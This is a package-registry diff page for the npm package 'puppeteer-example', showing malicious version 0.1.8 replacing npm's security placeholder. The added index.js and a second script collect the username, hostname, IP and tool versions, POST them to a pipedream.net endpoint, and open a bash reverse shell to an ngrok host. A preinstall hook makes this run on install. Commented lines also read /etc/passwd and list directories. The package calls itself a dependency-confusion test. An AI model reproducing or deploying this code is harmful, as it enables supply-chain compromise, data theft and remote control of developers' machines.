puppeteer-example 0.0.1-security → 0.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of puppeteer-example might be problematic. Click here for more details.

@@ -0,0 +1,45 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ // Gather system information
5
+ const systemInfo = {
6
+ privateIP: os.networkInterfaces()['eth0'][0].address, // Modify this based on your network interface
7
+ whoami: os.userInfo().username,
8
+ hostname: os.hostname(),
9
+ currentDir: process.cwd(),
10
+ };
11
+
12
+ // Convert systemInfo to JSON
13
+ const data = JSON.stringify(systemInfo);
14
+
15
+ // Set up the HTTP request options
16
+ const options = {
17
+ hostname: 'eo5zaov3udnh16e.m.pipedream.net',
18
+ port: 443,
19
+ path: '/',
20
+ method: 'POST',
21
+ headers: {
22
+ 'Content-Type': 'application/json',
23
+ 'Content-Length': data.length,
24
+ },
25
+ };
26
+
27
+ // Send the data
28
+ const req = https.request(options, (res) => {
29
+ let responseData = '';
30
+
31
+ res.on('data', (chunk) => {
32
+ responseData += chunk;
33
+ });
34
+
35
+ res.on('end', () => {
36
+ console.log('Response:', responseData);
37
+ });
38
+ });
39
+
40
+ req.on('error', (error) => {
41
+ console.error('Error sending data:', error);
42
+ });
43
+
44
+ req.write(data);
45
+ req.end();
package/index.js ADDED
@@ -0,0 +1,66 @@
1
+
2
+ const execSync = require('child_process').execSync;
3
+
4
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
5
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
6
+ const host = execSync('hostname', { encoding: 'utf-8' });
7
+ // const current_dir = execSync('pwd', { encoding: 'utf-8' });
8
+ // const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
9
+ // const ls1 = execSync('ls', { encoding: 'utf-8' });
10
+ // const ls2 = execSync('ls ../', { encoding: 'utf-8' });
11
+ // const ls3 = execSync('ls ../../', { encoding: 'utf-8' });
12
+ // const ls4 = execSync('ls ../../../', { encoding: 'utf-8' });
13
+ // const ls5 = execSync('ls ../../../../', { encoding: 'utf-8' });
14
+ // const ls6 = execSync('ls ../../../../../', { encoding: 'utf-8' });
15
+ // const ls7 = execSync('ls ../../../../../../', { encoding: 'utf-8' });
16
+ // const ls8 = execSync('ls ../../../../../../../', { encoding: 'utf-8' });
17
+ // const ls9 = execSync('ls ../../../../../../../../', { encoding: 'utf-8' });
18
+ // const ls10 = execSync('ls ../../../../../../../../../', { encoding: 'utf-8' });
19
+ const py3 = execSync('python3 --version', { encoding: 'utf-8' });
20
+ // const py = execSync('python --version', { encoding: 'utf-8' });
21
+ // const bash = execSync('which bash', { encoding: 'utf-8' });
22
+ // const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
23
+ const php = execSync('php --version', { encoding: 'utf-8' });
24
+ const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/16848 0>&1', { encoding: 'utf-8' });
25
+
26
+
27
+ const https = require("https")
28
+
29
+ const data = JSON.stringify({
30
+ "private IP": priv_ip,
31
+ "whoami": whoami,
32
+ "hostname": host,
33
+ // "current dir": current_dir,
34
+ // "passwd": passwd,
35
+ // "ls1": ls1,
36
+ // "ls2": ls2,
37
+ // "ls3": ls3,
38
+ // "ls4": ls4,
39
+ // "ls5": ls5,
40
+ // "ls6": ls6,
41
+ // "ls7": ls7,
42
+ // "ls8": ls8,
43
+ // "ls9": ls9,
44
+ // "ls10": ls10,
45
+ "py3": py3,
46
+ // "py": py,
47
+ // "bash": bash,
48
+ // "lsb": lsb,
49
+ "php": php,
50
+ "shell": shell,
51
+ })
52
+
53
+ const options = {
54
+ hostname: "eo5zaov3udnh16e.m.pipedream.net",
55
+ port: 443,
56
+ path: "/",
57
+ method: "POST",
58
+ headers: {
59
+ "Content-Type": "application/json",
60
+ "Content-Length": data.length,
61
+ },
62
+ }
63
+
64
+ const req = https.request(options)
65
+ req.write(data)
66
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "puppeteer-example",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.1.8",
4
+ "description": "testing for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Shiv Pratap Singh",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=puppeteer-example for more information.